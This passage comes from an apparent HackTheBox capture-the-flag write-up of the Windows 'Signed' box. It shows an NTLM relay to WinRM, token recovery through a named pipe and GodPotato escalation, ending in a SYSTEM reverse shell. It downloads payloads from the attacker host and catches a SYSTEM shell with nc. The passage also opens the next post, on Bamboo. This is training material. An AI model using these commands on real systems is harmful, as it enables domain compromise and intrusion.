</span><span class="nb">COERCE_PLUS </span><span class="go">10.129.242.173  445    DC01             Exploit Success, spoolss\RpcRemoteFindFirstPrinterChangeNotificationEx
</span></code></pre></div></div>

<p>At <code class="language-plaintext highlighter-rouge">ntlmrelayx.py</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">[*] (SMB): Received connection from 10.129.242.173, attacking target winrms://DC01.signed.htb
[!] The client requested signing, relaying to WinRMS might not work!
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc01.signed.htb:5986  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc01.signed.htb:5986  ...  OK
[*] HTTP server returned error code 500, this is expected, treating as a successful login
[*] (SMB): Authenticating connection from /@10.129.242.173 against winrms://DC01.signed.htb SUCCEED [1]
[*] winrms:///@dc01.signed.htb [1] -&gt; Started interactive WinRMS shell via TCP on 127.0.0.1:11000
</span></code></pre></div></div>

<p>It started a shell on localhost port 11000. I’ll connect:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>nc localhost 11000
<span class="go">Type help for list of commands

</span><span class="gp">#</span><span class="w">
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">help</code> shows a lot of commands:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp"># </span><span class="nb">help</span>
<span class="go">For more information on a specific command, type HELP command-name
ASSOC          Displays or modifies file extension associations.
ATTRIB         Displays or changes file attributes.
BREAK          Sets or clears extended CTRL+C checking.
BCDEDIT        Sets properties in boot database to control boot loading.
CACLS          Displays or modifies access control lists (ACLs) of files.
CALL           Calls one batch program from another.
CD             Displays the name of or changes the current directory.
CHCP           Displays or sets the active code page number.
CHDIR          Displays the name of or changes the current directory.
CHKDSK         Checks a disk and displays a status report.
CHKNTFS        Displays or modifies the checking of disk at boot time.
CLS            Clears the screen.
CMD            Starts a new instance of the Windows command interpreter.
COLOR          Sets the default console foreground and background colors.
COMP           Compares the contents of two files or sets of files.
COMPACT        Displays or alters the compression of files on NTFS partitions.
CONVERT        Converts FAT volumes to NTFS.  You cannot convert the
               current drive.
COPY           Copies one or more files to another location.
DATE           Displays or sets the date.
DEL            Deletes one or more files.
DIR            Displays a list of files and subdirectories in a directory.
DISKPART       Displays or configures Disk Partition properties.
DOSKEY         Edits command lines, recalls Windows commands, and
               creates macros.
DRIVERQUERY    Displays current device driver status and properties.
ECHO           Displays messages, or turns command echoing on or off.
ENDLOCAL       Ends localization of environment changes in a batch file.
ERASE          Deletes one or more files.
EXIT           Quits the CMD.EXE program (command interpreter).
FC             Compares two files or sets of files, and displays the
               differences between them.
FIND           Searches for a text string in a file or files.
FINDSTR        Searches for strings in files.
FOR            Runs a specified command for each file in a set of files.
FORMAT         Formats a disk for use with Windows.
FSUTIL         Displays or configures the file system properties.
FTYPE          Displays or modifies file types used in file extension
               associations.
GOTO           Directs the Windows command interpreter to a labeled line in
               a batch program.
GPRESULT       Displays Group Policy information for machine or user.
GRAFTABL       Enables Windows to display an extended character set in
               graphics mode.
HELP           Provides Help information for Windows commands.
ICACLS         Display, modify, backup, or restore ACLs for files and
               directories.
IF             Performs conditional processing in batch programs.
LABEL          Creates, changes, or deletes the volume label of a disk.
MD             Creates a directory.
MKDIR          Creates a directory.
MKLINK         Creates Symbolic Links and Hard Links
MODE           Configures a system device.
MORE           Displays output one screen at a time.
MOVE           Moves one or more files from one directory to another
               directory.
OPENFILES      Displays files opened by remote users for a file share.
PATH           Displays or sets a search path for executable files.
PAUSE          Suspends processing of a batch file and displays a message.
POPD           Restores the previous value of the current directory saved by
               PUSHD.
PRINT          Prints a text file.
PROMPT         Changes the Windows command prompt.
PUSHD          Saves the current directory then changes it.
RD             Removes a directory.
RECOVER        Recovers readable information from a bad or defective disk.
REM            Records comments (remarks) in batch files or CONFIG.SYS.
REN            Renames a file or files.
RENAME         Renames a file or files.
REPLACE        Replaces files.
RMDIR          Removes a directory.
ROBOCOPY       Advanced utility to copy files and directory trees
SET            Displays, sets, or removes Windows environment variables.
SETLOCAL       Begins localization of environment changes in a batch file.
SC             Displays or configures services (background processes).
SCHTASKS       Schedules commands and programs to run on a computer.
SHIFT          Shifts the position of replaceable parameters in batch files.
SHUTDOWN       Allows proper local or remote shutdown of machine.
SORT           Sorts input.
START          Starts a separate window to run a specified program or command.
SUBST          Associates a path with a drive letter.
SYSTEMINFO     Displays machine specific properties and configuration.
TASKLIST       Displays all currently running tasks including services.
TASKKILL       Kill or stop a running process or application.
TIME           Displays or sets the system time.
TITLE          Sets the window title for a CMD.EXE session.
TREE           Graphically displays the directory structure of a drive or
               path.
TYPE           Displays the contents of a text file.
VER            Displays the Windows version.
VERIFY         Tells Windows whether to verify that your files are written
               correctly to a disk.
VOL            Displays a disk volume label and serial number.
XCOPY          Copies files and directory trees.
WMIC           Displays WMI information inside interactive command shell.
</span></code></pre></div></div>

<p>This is a stateless shell, as I can’t seem to change directories between commands. Still, I can read the flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp"># </span><span class="n">DIR</span><span class="w"> </span><span class="nx">C:\Users\Administrator\Desktop</span><span class="w">
</span><span class="go">Volume in drive C has no label.
Volume Serial Number is BED4-436E

 Directory of C:\Users\Administrator\Desktop

10/06/2025  04:04 AM    &lt;DIR&gt;          .
10/06/2025  04:04 AM    &lt;DIR&gt;          ..
02/01/2026  05:04 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   6,367,277,056 bytes free

</span><span class="gp"># </span><span class="kr">type</span><span class="w"> </span><span class="n">C:\Users\Administrator\Desktop\root.txt</span><span class="w">
</span><span class="go">2e43af1f************************
</span></code></pre></div></div>

<h3 id="via-seimpersonate-restoration">via SeImpersonate Restoration</h3>

<h4 id="strategy-1">Strategy</h4>

<p>When the MSSQL service starts at boot, Windows authenticates the mssqlsvc account and creates a logon session. LSASS stores this initial token for use during network authentication. Service accounts are granted <code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code> by default, and MSSQL legitimately uses impersonation to handle client connections under different security contexts. So it’s reasonable to assume the original token has this privilege. As I show <a href="#enumeration-1">above</a>, the shell as mssqlsvc doesn’t have <code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code>, which means the service must be running with a restricted token as a hardening measure.</p>

<p>A post from Tyranid’s Lair titled <a href="https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html">Sharing a Logon Session a Little Too Much</a> from 2020 goes into detail on how to recover this original token by creating a named pipe. On connecting to the pipe, the SMB redirector (running in the kernel) performs authentication using the stored token rather than the current process. Impersonating the pipe client yields the original token.</p>

<h4 id="build-module">Build Module</h4>

<p>The post references a tool found in the <a href="https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools">sandbox-attacksurface-analysis-tools</a> repo, and it contains DLLs that need to be compiled for it to work. I’ll clone the repo to a Windows host and open the <code class="language-plaintext highlighter-rouge">.sln</code> file in Visual Studio. I’ll set the configuration to Release:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260201141108054.webp" />
    <img loading="lazy" src="/img/image-20260201141108054.png" alt="image-20260201141108054" class="include_image " />
</picture>

<p>And then Build –&gt; Build Solution to compile everything:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260201141146289.webp" />
    <img loading="lazy" src="/img/image-20260201141146289.png" alt="image-20260201141146289" class="include_image " />
</picture>

<p>I’ll zip <code class="language-plaintext highlighter-rouge">bin/release</code> and transfer that to my hacking VM and upload it to Signed:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="400"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">iwr</span><span class="w"> </span><span class="nx">http://10.10.14.16/Release.zip</span><span class="w"> </span><span class="nt">-outfile</span><span class="w"> </span><span class="nx">release.zip</span><span class="w">
</span><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">expand-archive</span><span class="w"> </span><span class="nx">release.zip</span><span class="w"> </span><span class="nt">-destinationpath</span><span class="w"> </span><span class="o">.</span><span class="w">
</span><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">ls</span><span class="w"> </span><span class="nx">release</span><span class="w">
</span><span class="go">
    Directory: C:\programdata\release

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         2/1/2026  11:14 AM                en-US
-a----         2/1/2026   2:10 PM          17165 AppModelFunctions.ps1
-a----         2/1/2026   2:10 PM          66048 Be.Windows.Forms.HexBox.dll
-a----         2/1/2026   2:10 PM          27852 Be.Windows.Forms.HexBox.pdb
-a----         2/1/2026   2:10 PM          16255 DsFunctions.ps1
-a----         2/1/2026   2:10 PM          86528 EditSection.exe
-a----         2/1/2026   2:10 PM            176 EditSection.exe.config
-a----         2/1/2026   2:10 PM          14572 EditSection.pdb
-a----         2/1/2026   2:10 PM          46461 FirewallFunctions.ps1
-a----         2/1/2026   2:10 PM         207943 Formatters.ps1xml
-a----         2/1/2026   2:10 PM          54773 KerberosFunctions.ps1
-a----         2/1/2026   2:10 PM          51381 LsaFunctions.ps1
-a----         2/1/2026   2:10 PM           7162 MiscFunctions.ps1
-a----         1/6/2011   4:24 PM          22016 NDesk.Options.dll
-a----         2/1/2026   2:10 PM        3477504 NtCoreLib.dll
-a----         2/1/2026   2:10 PM          35840 NtCoreLib.Forms.dll
-a----         2/1/2026   2:10 PM           7204 NtCoreLib.Forms.pdb
-a----         2/1/2026   2:10 PM          10923 NtCoreLib.Forms.xml
-a----         2/1/2026   2:10 PM         946312 NtCoreLib.pdb
-a----         2/1/2026   2:10 PM        3307162 NtCoreLib.xml
-a----         2/1/2026   2:10 PM          16239 NtDeviceFunctions.ps1
-a----         2/1/2026   2:10 PM          39814 NtFileFunctions.ps1
-a----         2/1/2026   2:10 PM           8705 NtKeyFunctions.ps1
-a----         2/1/2026   2:10 PM          12335 NtObjectFunctions.ps1
-a----         2/1/2026   2:10 PM         499200 NtObjectManager.dll
-a----         2/1/2026   2:10 PM        5894567 NtObjectManager.dll-Help.xml
-a----         2/1/2026   2:10 PM         162024 NtObjectManager.pdb
-a----         2/1/2026   2:10 PM          19353 NtObjectManager.psd1
-a----         2/1/2026   2:10 PM           1868 NtObjectManager.psm1
-a----         2/1/2026   2:10 PM         632927 NtObjectManager.xml
-a----         2/1/2026   2:10 PM          23372 NtProcessFunctions.ps1
-a----         2/1/2026   2:10 PM          14096 NtSectionFunctions.ps1
-a----         2/1/2026   2:10 PM          99709 NtSecurityFunctions.ps1
-a----         2/1/2026   2:10 PM           8421 NtSystemInfoFunctions.ps1
-a----         2/1/2026   2:10 PM           7033 NtThreadFunctions.ps1
-a----         2/1/2026   2:10 PM          50604 NtTokenFunctions.ps1
-a----         2/1/2026   2:10 PM          11821 NtVirtualMemoryFunctions.ps1
-a----         2/1/2026   2:10 PM           7748 NtWindowFunctions.ps1
-a----         2/1/2026   2:10 PM          68169 RpcFunctions.ps1
-a----         2/1/2026   2:10 PM          14320 SamFunctions.ps1
-a----         2/1/2026   2:10 PM           7781 SocketFunctions.ps1
-a----         3/7/2019   4:07 PM         354304 System.Management.Automation.dll
-a----         2/1/2026   2:10 PM         261632 TokenViewer.exe
-a----         2/1/2026   2:10 PM            176 TokenViewer.exe.config
-a----         2/1/2026   2:10 PM          35012 TokenViewer.pdb
-a----         2/1/2026   2:10 PM            435 TypeExtensions.ps1xml
-a----         2/1/2026   2:10 PM          19640 UtilityFunctions.ps1
-a----         2/1/2026   2:10 PM          18432 ViewSecurityDescriptor.exe
-a----         2/1/2026   2:10 PM            176 ViewSecurityDescriptor.exe.config
-a----         2/1/2026   2:10 PM           2388 ViewSecurityDescriptor.pdb
-a----       10/23/2018   8:52 PM         316392 WeifenLuo.WinFormsUI.Docking.dll
-a----         2/1/2026   2:10 PM           6983 Win32DebugFunctions.ps1
-a----         2/1/2026   2:10 PM          17663 Win32ModuleFunctions.ps1
-a----         2/1/2026   2:10 PM          17155 Win32ProcessFunctions.ps1
-a----         2/1/2026   2:10 PM          11471 Win32SecurityFunctions.ps1
-a----         2/1/2026   2:10 PM          20276 Win32ServiceFunctions.ps1
</span></code></pre></div></div>

<p>I’ll import the module:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">cd</span><span class="w"> </span><span class="nx">release</span><span class="w">
</span><span class="gp">PS C:\programdata\release&gt;</span><span class="w"> </span><span class="n">import-module</span><span class="w"> </span><span class="o">.</span><span class="nx">\NtObjectManager.psm1</span><span class="w">
</span></code></pre></div></div>

<p>jvar pointed out that I could also build this on Linux PowerShell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="n">pwsh</span><span class="w">
</span><span class="go">PowerShell 7.5.4
</span><span class="gp">PS /home/oxdf&gt;</span><span class="w"> </span><span class="n">Install-Module</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="nx">PSWSMan</span><span class="w">
</span><span class="go">Untrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want 
to install the modules from 'PSGallery'?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A
</span><span class="gp">PS /home/oxdf&gt;</span><span class="w"> </span><span class="n">Install-Module</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="nx">NtObjectManager</span><span class="w">
</span><span class="go">Untrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want 
to install the modules from 'PSGallery'?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A
</span><span class="gp">PS /home/oxdf&gt;</span><span class="w"> </span><span class="n">Save-Module</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="nx">NtObjectManager</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nx">/home/oxdf/</span><span class="w">
</span><span class="gp">PS /home/oxdf&gt;</span><span class="w"> </span><span class="n">Compress-Archive</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nx">/home/oxdf/NtObjectManager/</span><span class="o">*</span><span class="w"> </span><span class="nt">-DestinationPath</span><span class="w"> </span><span class="nx">/tmp/NtObjectManager.zip</span><span class="w">
</span></code></pre></div></div>

<p>That resulting zip has the files necessary to <code class="language-plaintext highlighter-rouge">import-module .\NtObjectManager.psm1</code>.</p>

<h4 id="get-token">Get Token</h4>

<p>Now I’ll run through the steps in the post. First I’ll create a pipe and start a job with that pipe listening:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="nv">$pipe</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-NtNamedPipeFile</span><span class="w"> </span><span class="nx">\\.\pipe\ABC</span><span class="w"> </span><span class="nt">-Win32Path</span><span class="w">                                         
</span><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="nv">$job</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Start-Job</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nv">$pipe</span><span class="o">.</span><span class="nf">Listen</span><span class="p">()</span><span class="w"> </span><span class="p">}</span><span class="w">
</span><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="nv">$job</span><span class="w">
</span><span class="go">
Id     Name            PSJobTypeName   State         HasMoreData     Location             Command                  
--     ----            -------------   -----         -----------     --------             -------                  
7      Job7            BackgroundJob   Completed     True            localhost             $pipe.Listen()
</span></code></pre></div></div>

<p>Now I’ll open a handle to the pipe and get the token from the client:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="nv">$file</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-NtFile</span><span class="w"> </span><span class="nx">\\localhost\pipe\ABC</span><span class="w"> </span><span class="nt">-Win32Path</span><span class="w">
</span><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="nv">$token</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Use-NtObject</span><span class="p">(</span><span class="nv">$pipe</span><span class="o">.</span><span class="nf">Impersonate</span><span class="p">())</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">Get-NtToken</span><span class="w"> </span><span class="nt">-Impersonation</span><span class="w"> </span><span class="p">}</span><span class="w">
</span><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="nv">$token</span><span class="w">
</span><span class="go">

User                            : SIGNED\mssqlsvc
Groups                          : {SIGNED\Domain Users, Everyone, BUILTIN\Users, BUILTIN\Pre-Windows 2000 Compatible
                                  Access...}
EnabledGroups                   : {SIGNED\Domain Users, Everyone, BUILTIN\Users, BUILTIN\Pre-Windows 2000 Compatible
                                  Access...}
DenyOnlyGroups                  : {}
GroupCount                      : 13
AuthenticationId                : 00000000-00069D71
TokenType                       : Impersonation
ExpirationTime                  : 9223372036854775807
Id                              : 00000000-01DF2B66
ModifiedId                      : 00000000-01DEB5B1
Owner                           : S-1-5-21-4088429403-1159899800-2753317549-1103
PrimaryGroup                    : S-1-5-21-4088429403-1159899800-2753317549-513
DefaultDacl                     : {Type Allowed - Flags None - Mask 10000000 - Sid
                                  S-1-5-21-4088429403-1159899800-2753317549-1103, Type Allowed - Flags None - Mask
                                  10000000 - Sid S-1-5-18, Type Allowed - Flags None - Mask A0000000 - Sid
                                  S-1-5-5-0-433502}
Source                          : Identifier = 00000000-00069D5F - Name = Advapi
RestrictedSids                  : {}
RestrictedSidsCount             : 0
ImpersonationLevel              : Impersonation
SessionId                       : 0
SandboxInert                    : False
Origin                          : 00000000-000003E7
ElevationType                   : Default
Elevated                        : True
HasRestrictions                 : False
UIAccess                        : False
VirtualizationAllowed           : False
VirtualizationEnabled           : False
Restricted                      : False
WriteRestricted                 : False
Filtered                        : False
NotLow                          : True
Flags                           : NotLow
NoChildProcess                  : False
Capabilities                    : {}
MandatoryPolicy                 : NoWriteUp, NewProcessMin
LogonSid                        : NT AUTHORITY\LogonSessionId_0_433502
IntegrityLevelSid               : Mandatory Label\High Mandatory Level
AppContainerNumber              : 0
IntegrityLevel                  : High
SecurityAttributes              : {}
DeviceClaimAttributes           : {}
UserClaimAttributes             : {}
RestrictedUserClaimAttributes   :
RestrictedDeviceClaimAttributes :
AppContainer                    : False
LowPrivilegeAppContainer        : False
AppContainerSid                 :
DeviceGroups                    : {}
RestrictedDeviceGroups          :
Privileges                      : {SeAssignPrimaryTokenPrivilege, SeIncreaseQuotaPrivilege, SeMachineAccountPrivilege,
                                  SeChangeNotifyPrivilege...}
FullPath                        : SIGNED\mssqlsvc - 00000000-00069D71
TrustLevel                      :
IsPseudoToken                   : False
IsSandbox                       : False
PackageFullName                 :
AppId                           :
AppModelPolicyDictionary        : {}
BnoIsolationPrefix              :
PackageIdentity                 :
AuditPolicy                     :
PrivateNamespace                : False
ProcessUniqueAttribute          :
AppSilo                         :
LearningMode                    :
GrantedAccess                   : AssignPrimary, Duplicate, Impersonate, Query, QuerySource, AdjustPrivileges,
                                  AdjustGroups, AdjustDefault, AdjustSessionId, Delete, ReadControl, WriteDac,
                                  WriteOwner
GrantedAccessGeneric            : GenericAll
GrantedAccessMask               : 983551
SecurityDescriptor              : O:S-1-5-21-4088429403-1159899800-2753317549-1103G:DUD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;
                                  ;;S-1-5-21-4088429403-1159899800-2753317549-1103)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1
                                  -5-21-4088429403-1159899800-2753317549-1103)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;C
                                  CDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)S:AI(ML;;NW;;;HI)
Sddl                            : O:S-1-5-21-4088429403-1159899800-2753317549-1103G:DUD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;
                                  ;;S-1-5-21-4088429403-1159899800-2753317549-1103)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1
                                  -5-21-4088429403-1159899800-2753317549-1103)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;C
                                  CDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)S:AI(ML;;NW;;;HI)
Handle                          : 0xE80
NtTypeName                      : Token
NtType                          : Name = Token - Index = 5
Name                            : mssqlsvc - 00000000-00069D71
CanSynchronize                  : False
CreationTime                    : 12/31/1600 4:00:00 PM
AttributesFlags                 : None
HandleReferenceCount            : 1
PointerReferenceCount           : 32693
Inherit                         : False
ProtectFromClose                : False
Address                         : 0
IsContainer                     : False
IsClosed                        : False
ObjectName                      : SIGNED\mssqlsvc - 00000000-00069D71
</span></code></pre></div></div>

<p>This token has <code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata\release&gt;</span><span class="w"> </span><span class="nv">$token</span><span class="o">.</span><span class="nf">privileges</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ft</span><span class="w"> </span><span class="nx">Name</span><span class="p">,</span><span class="w"> </span><span class="nx">Attributes</span><span class="p">,</span><span class="w"> </span><span class="nx">DisplayName</span><span class="w">
</span><span class="go">
Name                                         Attributes DisplayName                              
----                                         ---------- -----------                              
SeAssignPrimaryTokenPrivilege                   Enabled Replace a process level token            
SeIncreaseQuotaPrivilege                        Enabled Adjust memory quotas for a process       
SeMachineAccountPrivilege                       Enabled Add workstations to domain               
SeChangeNotifyPrivilege       EnabledByDefault, Enabled Bypass traverse checking                 
SeImpersonatePrivilege        EnabledByDefault, Enabled Impersonate a client after authentication
SeCreateGlobalPrivilege       EnabledByDefault, Enabled Create global objects                    
SeIncreaseWorkingSetPrivilege                   Enabled Increase a process working set 
</span></code></pre></div></div>

<h4 id="process-with-token">Process With Token</h4>

<p>To start a new process using this token, I’ll use <code class="language-plaintext highlighter-rouge">New-Win32Process</code>. I won’t be able to see STDOUT or STDERR, so I’ll direct it to a file:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">New-Win32Process</span><span class="w"> </span><span class="nt">-Commandline</span><span class="w"> </span><span class="s1">'cmd.exe /c whoami /priv 2&gt;&amp;1 &gt; /programdata/output.txt'</span><span class="w"> </span><span class="nt">-token</span><span class="w"> </span><span class="nv">$token</span><span class="w">
</span><span class="go">
Process            : cmd.exe
Thread             : thread:4272 - process:3700
Pid                : 3700
Tid                : 4272
TerminateOnDispose : False
ExitStatus         : 259
ExitNtStatus       : STATUS_PENDING
</span></code></pre></div></div>

<p>The result shows <code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="nx">output.txt</span><span class="w">
</span><span class="go">
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeMachineAccountPrivilege     Add workstations to domain                Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled
</span></code></pre></div></div>

<h4 id="godpotato">GodPotato</h4>

<p>I’ll grab the latest version of <a href="https://github.com/BeichenDream/GodPotato">GodPotato</a> to escalate through <code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code> and upload it to Signed:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">iwr</span><span class="w"> </span><span class="nx">http://10.10.14.16/GodPotato-NET4.exe</span><span class="w"> </span><span class="nt">-outfile</span><span class="w"> </span><span class="nx">gp.exe</span><span class="w">
</span></code></pre></div></div>

<p>I’ll also save a PowerShell reverse shell from <a href="https://www.revshells.com/">revshells.com</a> to a file and upload it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">iwr</span><span class="w"> </span><span class="nx">http://10.10.14.16/shell.ps1</span><span class="w"> </span><span class="nt">-outfile</span><span class="w"> </span><span class="nx">shell.ps1</span><span class="w">
</span></code></pre></div></div>

<p>Now I’ll run <code class="language-plaintext highlighter-rouge">gp.exe</code> with the reverse shell:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">New-Win32Process</span><span class="w"> </span><span class="nt">-Commandline</span><span class="w"> </span><span class="s1">'C:\programdata\gp.exe -cmd "powershell C:\programdata\shell.ps1 2&gt;&amp;1"'</span><span class="w"> </span><span class="nt">-token</span><span class="w"> </span><span class="nv">$token</span><span class="w">
</span><span class="go">
Process            : gp.exe
Thread             : thread:4852 - process:3816
Pid                : 3816
Tid                : 4852
TerminateOnDispose : False
ExitStatus         : 259
ExitNtStatus       : STATUS_PENDING
</span></code></pre></div></div>

<p>At <code class="language-plaintext highlighter-rouge">nc</code>, I get a shell as system:</p>

<div class="language-console rlwrap-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>rlwrap <span class="nt">-cAr</span> nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.242.173 56071

</span><span class="gp">PS C:\Windows\system32&gt;</span><span class="w"> </span><span class="nb">whoami</span>
<span class="go">nt authority\system
</span></code></pre></div></div>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-signed" /><category term="pentest" /><category term="bug-bounty" /><category term="hackthebox" /><category term="htb-signed" /><category term="ctf" /><category term="assume-breach" /><category term="windows" /><category term="nmap" /><category term="mssql" /><category term="netexec" /><category term="mssqlclient" /><category term="xp-dirtree" /><category term="xp-cmdshell" /><category term="coerce" /><category term="netexec-coerce-plus" /><category term="printer-bug" /><category term="net-ntlmv2" /><category term="hashcat" /><category term="silver-ticket" /><category term="ticketer" /><category term="kerberos" /><category term="tunnel" /><category term="chisel" /><category term="proxychains" /><category term="mssql-openrowset" /><category term="seimpersonate" /><category term="recover-seimpersonate" /><category term="ntlmrelayx" /><category term="ntlm-relay" /><category term="htb-darkcorp" /><category term="dnstool" /><category term="godpotato" /><category term="responder" /><category term="impacket" /><category term="powershell-history" /><category term="file-read" /><category term="service-ticket" /><category term="evil-winrm-py" /><category term="active-directory" /><category term="named-pipe" /><category term="krbrelayx" /><category term="petitpotam" /><category term="htb-escape" /><summary type="html"><![CDATA[Signed is an assume breach Windows box where I’m given credentials for a local MSSQL account. I’ll enumerate the database, coerce authentication from the MSSQL service account using xp_dirtree, and crack the NetNTLMv2 hash. With the service account password, I’ll forge a silver ticket with the IT group’s RID to gain sysadmin privileges on the database and get command execution. For root, I’ll show three paths: using OPENROWSET BULK impersonation with silver tickets to read files as Domain Admins and find the Administrator’s password in PowerShell history, relaying NTLM authentication from the DC using a crafted DNS record, and recovering SeImpersonatePrivilege from the original logon token to escalate with GodPotato.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xdf.gitlab.io/img/signed-cover.png" /><media:content medium="image" url="https://0xdf.gitlab.io/img/signed-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: Bamboo</title><link href="https://0xdf.gitlab.io/2026/02/03/htb-bamboo.html" rel="alternate" type="text/html" title="HTB: Bamboo" /><published>2026-02-03T10:00:00+00:00</published><updated>2026-02-03T10:00:00+00:00</updated><id>https://0xdf.gitlab.io/2026/02/03/htb-bamboo</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/02/03/htb-bamboo.html"><![CDATA[<picture>
    <source type="image/webp" srcset="/img/bamboo-cover.webp" />
    <img loading="lazy" src="/img/bamboo-cover.png" alt="Bamboo" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>Bamboo offers a Squid HTTP proxy through which I’ll access a PaperCut NG instance. I’ll use Spose to scan through the proxy and discover the print management application. I’ll exploit an authentication bypass vulnerability in PaperCut and use application access to enabling print scripting to get code execution. For privilege escalation, I’ll abuse a root process that runs a script from the papercut user’s home directory.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/763 -->

<div class="htb-card platform-vulnlab">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/bamboo" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-bamboo.webp" />
          <img src="/icons/box-bamboo.png" alt="Bamboo" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/bamboo" target="_blank" class="htb-box-name">Bamboo</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Medium">
      Medium
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
